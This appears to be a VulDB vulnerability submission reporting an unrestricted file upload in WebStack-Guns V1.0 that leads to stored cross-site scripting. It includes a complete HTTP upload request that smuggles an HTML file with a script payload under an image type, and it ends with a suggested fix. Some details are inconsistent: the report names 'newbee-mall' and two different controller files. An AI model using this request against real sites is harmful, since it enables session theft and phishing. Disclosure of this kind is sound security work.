提交 #580744: jsnjfz WebStack-Guns V1.0 Unrestricted Upload

Arbitrary File Upload vulnerability in WebStack-Guns allows leads to Stored Cross-Site Scripting via

# NAME OF AFFECTED PRODUCT(S)

- WebStack-Guns

## Vendor Homepage

https://github.com/jsnjfz/WebStack-Guns

# AFFECTED AND/OR FIXED VERSION(S)

## submitter
- aiyakami,Yveslawtox,luokuang1

## Vulnerable File
- UserMgrController.java

## VERSION(S)
- V1.0

## Software Link
- https://github.com/jsnjfz/WebStack-Guns

# PROBLEM TYPE

## Vulnerability Type

- Arbitrary File Upload → Stored XSS

## Root Cause

- The file upload feature in newbee-mall fails to properly validate file content types and extensions (e.g., .svg, .html). Attackers can upload malicious files containing JavaScript code, which are then rendered by victims' browsers, leading to persistent Cross-Site Scripting (XSS).

## Impact

- Attackers can upload malicious files disguised as images, which, when rendered by the application or accessed by users, execute arbitrary JavaScript in their browsers.

#Successful exploitation can lead to:

- Session hijacking (stealing cookies via document.cookie).

- Phishing attacks (fake login forms injected via XSS).

- Defacement (modifying website content to display false information).

- Malware distribution (redirecting users to malicious sites).

# DESCRIPTION

- During a security review of WebStack-Guns, a critical arbitrary file upload vulnerability was discovered in UploadController.java. The issue arises due to inadequate file validation, allowing attackers to upload malicious files that bypass security checks.

# Vulnerability details and POC

## Vulnerability lonameion:

- **`UserMgrController.java`**

## Payload:

Example: An attacker uploads an html file containing <script>alert(1)</script>, which executes when rendered in a browser.

```
POST /mgr/upload HTTP/1.1
Host: localhost:8000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt0ZgwC0YZBLSexhj
Referer: http://localhost:8000/site/site_update/1
sec-ch-ua: "Chromium";v="136", "Google Chrome";v="136", "Not.A/Brand";v="99"
Sec-Fetch-Mode: cors
Cookie: rememberMe=crk7GATbuIjXmQlYi6/e/yL1QoxhQqjKHa4P/HhiuW1VUIjIuh675SKVojnNV3XQ2rFhYG4mLmETBP964jFEznzP2nIwhEpc60WQfVLKbvEdZKZZZEZMUgBd1JM7BJRnHNWhj90J95+0kT5ImNgCKS0NJX5YiflQZyIe4Ib88Le1qTzAtMUyeNMJhnQ0jvO4hSInxTLq1N7xtcCT8F3bukH7obKaIQO/lANiWmogGvNnAdUpcL56On9wmi6rLQYoMw30JYsNgX0NYwA1YXtomAeFgTYARr8CzgBITUrZk3QJnSvaMunOudF7tWVAH2A1y149oAfgn2UdenQ6HAFkJ3he75BaRE17ZILfcRhSOxccB4F8Ykv9nizaxIuvpWHlpB5n3RNR7WPK2jrKSZeXqcqBFqGxWdrKLaDIs7zhewHPXK4SrW8NMp0v57hm90ZgTGpNtWfcFs5huVJxOlWlZ/GkW9UJihBsGjxISIZmZUGerRSpvU4mpOHb9Sc70aJWNS1ElpbalNMUfqae11ajMayf9l1mTLtg8xziS/DflDbbjWN0nPVpDyhJ+rpFqSEmhzIxFsJ5AL3fmNnP0QCwBZo3APgXiD6qqSGgplydAfWERDOgPYoYjTVpw0NZNebWx/wL5bwomJbTxvNupofObIu9wV6NYsiW7m8DoT6kZTj+eqlEndvdntgBZoq8f/x3OLEQ8JaN/Njn9kDXL5fkcIF/JfZ40tqMqo6LdZmZ5EsqmEi2M4jOk3Q4yxk/y8cl4uxBXNBj0fFiWOHlmJixWL+WKNhEZxq8AyQmddQC37N2BI9RWB577R+wSRnkCg2/zaGW+Mamps++zLEBjEY2ECC/R9nD9FEW8wMTOshv5sGpSC9bLGcfYbUnDzbcHTbDiv9bJWxtVnqRYnKlbzC5/X/ePUtkKOtZNd5tOb/Whk79CB+syPxK74rpOF0a4nzcmmgFHYT1rH0GMdBpPHaNljEU7NfYBM1DbCJbDC/qg8qmpEqNlA/RawPcduYnTucl8tgyBwj0dylBHDhxz1mbsxMXDUtsqSfJAvEjSAyuJFCa5kzQzH0w/MFtgc4v/KIXGeO0CqiI77QCxXY=; shiroCookie=ec0f2e61-5be9-4453-9c76-aeeb13df2842
sec-ch-ua-mobile: ?0
Origin: http://localhost:8000
Sec-Fetch-Site: same-origin
Sec-Fetch-Dest: empty
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Content-Length: 747

------WebKitFormBoundaryt0ZgwC0YZBLSexhj
Content-Disposition: form-data; name="id"

WU_FILE_3
------WebKitFormBoundaryt0ZgwC0YZBLSexhj
Content-Disposition: form-data; name="name"

2.png
------WebKitFormBoundaryt0ZgwC0YZBLSexhj
Content-Disposition: form-data; name="type"

image/png
------WebKitFormBoundaryt0ZgwC0YZBLSexhj
Content-Disposition: form-data; name="lastModifiedDate"

Mon May 19 2025 22:38:28 GMT+0800 (中国标准时间)
------WebKitFormBoundaryt0ZgwC0YZBLSexhj
Content-Disposition: form-data; name="size"

25
------WebKitFormBoundaryt0ZgwC0YZBLSexhj
Content-Disposition: form-data; name="file"; filename="2.html"
Content-Type: image/png

<script>alert(1)</script>
------WebKitFormBoundaryt0ZgwC0YZBLSexhj--

```

## The following are screenshots of some specific information obtained from testing and running with the yakit tool:

# Suggested repair

1. **Strict File Extension Whitelisting**

Only allow safe extensions (e.g., .jpg, .png, .gif) and reject dangerous ones (e.g., .svg, .html, .php).

• 来源: ⚠️ https://github.com/Aiyakami/CVE-1/issues/4
• 用户: aiyakami (UID 85128)
• 提交: 2025-05-19 16時51分 (1 年前)
• 管理: 2025-06-09 08時10分 (21 days later)
• 状态: 已接受
• VulDB条目: 311658 [jsnjfz WebStack-Guns 1.0 File Upload UserMgrController.java 文件 跨网站脚本]
• 积分: 20